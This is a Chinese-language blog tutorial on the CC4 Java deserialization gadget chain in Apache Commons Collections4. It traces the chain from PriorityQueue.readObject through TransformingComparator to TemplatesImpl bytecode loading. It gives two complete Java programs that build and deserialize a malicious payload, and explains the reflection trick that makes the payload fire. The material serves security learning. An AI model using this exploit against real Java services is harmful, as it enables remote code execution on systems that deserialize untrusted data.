Java安全--CC4

CC4

环境提一小嘴:

CC4利用的是commons-collections4,所以我们需要导入新的依赖,地址:https://mvnrepository.com/artifact/org.apache.commons/commons-collections4/4.0

我们先来关注一下利用链:

后半段是一样的,即利用动态加载链

InstantiateTransformer.transform
	TrAXFilter.TrAXFilter
  	        TemplatesImpl.newTransformer
    	                defineClass

前面半段则是利用到了这两个类:

TransformingComparator --> commons的类
PriorityQueue --> JDK自带的类

我们说一下是怎么拼接上的,从InstantiateTransformer.transform往上讲吧,因为我们找到TransformingComparator的compare调用了transform

并且呢TransformingComparator又调用了compare

从TransformingComparator一路走出来可以到达readObject,那么这一条链子也算是闭合了。我们看一下TransformingComparator的readObjecct是怎么调用compare的:

1.先是执行了heapify()

2.调用siftDown(i, (E) queue[i]);

3.执行siftDownUsingComparator(k, x);

4.调用了compare,最重要的是这里的comparator是我们可以控制的

如何控制comparator?很简单,就是直接传入构造函数就可以:

所以前半条链子:

PriorityQueue.readObject
	PriorityQueue.heapify
  	PriorityQueue.siftDown
    	PriorityQueue.siftDownUsingComparator
      	        TransformingComparator.compare
        	        InstantiateTransformer.transform

后面半条链子我们不动,从CC3拷贝过来,然后只要实例化两个类就可以了:(TransformingComparator和ChainedTransformer)

package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;

import javax.xml.transform.Templates;
import javax.xml.transform.TransformerConfigurationException;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;

public class CC4 {
    public static void main(String[] args) throws NoSuchFieldException, IOException, IllegalAccessException, ClassNotFoundException, TransformerConfigurationException {
        TemplatesImpl templates = new TemplatesImpl();
        Class templatesClass = templates.getClass();

        Field nameField = templatesClass.getDeclaredField("_name");
        nameField.setAccessible(true);
        nameField.set(templates, "aaa");

        Field bytecodesField = templatesClass.getDeclaredField("_bytecodes");
        bytecodesField.setAccessible(true);
        byte[] code = Files.readAllBytes(Paths.get("D://netcat/Test.class"));
        byte[][] codes = {code};
        bytecodesField.set(templates, codes);

        Field tfactoryField = templatesClass.getDeclaredField("_tfactory");
        tfactoryField.setAccessible(true);
        tfactoryField.set(templates, new TransformerFactoryImpl());

        InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});

        Transformer[] transformers = {
                new ConstantTransformer(TrAXFilter.class),
                instantiateTransformer
        };

        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        TransformingComparator transformingComparator = new TransformingComparator(chainedTransformer);

        PriorityQueue priorityQueue = new PriorityQueue(transformingComparator);

        serialize(priorityQueue);
        unserialize("ser.bin");
    }
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        objectOutputStream.writeObject(obj);
    }
    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(Filename));
        return objectInputStream.readObject();
    }
}

运行之后发现无事发生,为什么?我们断点下在入口heapify,进入heapify

我们发现这个判断的时候就被阻隔了,size就是值队列内的数量,因为我们没有添加过任何元素所以这里默认就是0

如果想要绕过这个判断至少需要添加两个元素,因为这里是对size做>>>操作,即减少一位:

4的二进制是100 做>>>操作变成 10 即2

2的二进制是10 做>>>操作变成 1 即1

所以我们对priorityQueue添加两个元素,在序列化之前添加两行代码:

priorityQueue.add(1);
priorityQueue.add(2);

再重新运行:

发行执行成功,但是我们反序列化的时候又弹不出计算器了。。。

因为我们在序列化之前执行了priorityQueue.add(1);代码

我们一路跟进:add->offer->siftUp->siftUpUsingComparator发现它已经调用了compare了

而且最关键的是这里它还执行了break方法,所以下面的serialize是压根没有执行,所以连ser.bin的序列化文件都没有生成,怎么反序列化呢?

TransformingComparator transformingComparator = new TransformingComparator(chainedTransformer);

我们在这一句修改一下,把chainedTransformer改成new ConstantTransformer("qingfeng"),即:

TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer("qingfeng"));

接着在反序列化之前,add函数之后利用反射修改其值改回chainedTransformer,这样在反序列化的时候就可以执行了。

所以整个代码就是:

package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;

import javax.xml.transform.Templates;
import javax.xml.transform.TransformerConfigurationException;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;

public class CC4 {
    public static void main(String[] args) throws NoSuchFieldException, IOException, IllegalAccessException, ClassNotFoundException, TransformerConfigurationException {
        TemplatesImpl templates = new TemplatesImpl();
        Class templatesClass = templates.getClass();

        Field nameField = templatesClass.getDeclaredField("_name");
        nameField.setAccessible(true);
        nameField.set(templates, "aaa");

        Field bytecodesField = templatesClass.getDeclaredField("_bytecodes");
        bytecodesField.setAccessible(true);
        byte[] code = Files.readAllBytes(Paths.get("D://netcat/Test.class"));
        byte[][] codes = {code};
        bytecodesField.set(templates, codes);

        Field tfactoryField = templatesClass.getDeclaredField("_tfactory");
        tfactoryField.setAccessible(true);
        tfactoryField.set(templates, new TransformerFactoryImpl());

        InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});

        Transformer[] transformers = {
                new ConstantTransformer(TrAXFilter.class),
                instantiateTransformer
        };

//        instantiateTransformer.transform(TrAXFilter.class);
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer("qingfeng"));

        PriorityQueue priorityQueue = new PriorityQueue(transformingComparator);
        priorityQueue.add(1);
        priorityQueue.add(2);

        Class<? extends TransformingComparator> transformingComparatorClass = transformingComparator.getClass();
        Field transformerField = transformingComparatorClass.getDeclaredField("transformer");
        transformerField.setAccessible(true);
        transformerField.set(transformingComparator, chainedTransformer);

        serialize(priorityQueue);
        unserialize("ser.bin");
    }
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        objectOutputStream.writeObject(obj);
    }
    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(Filename));
        return objectInputStream.readObject();
    }
}

CC4完结思考:

为什么我们CC3前面半条不能用这个链子,或者有CC3不就足够了,为什么要再找一个这样的链子,不是画蛇添足吗?

其实罪魁祸首就是 commons-collections4 commons-collections3 的区别了,更具体一点就是在类TransformingComparator这里。

我们先来看一下commons-collections3的TransformingComparator函数:

再看一下commons-collections4的TransformingComparator函数:

发现一个继承了serialize接口,另一个没有继承这个接口。因此造成了一个新的漏洞利用点,从而有了CC4.

  • 2
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值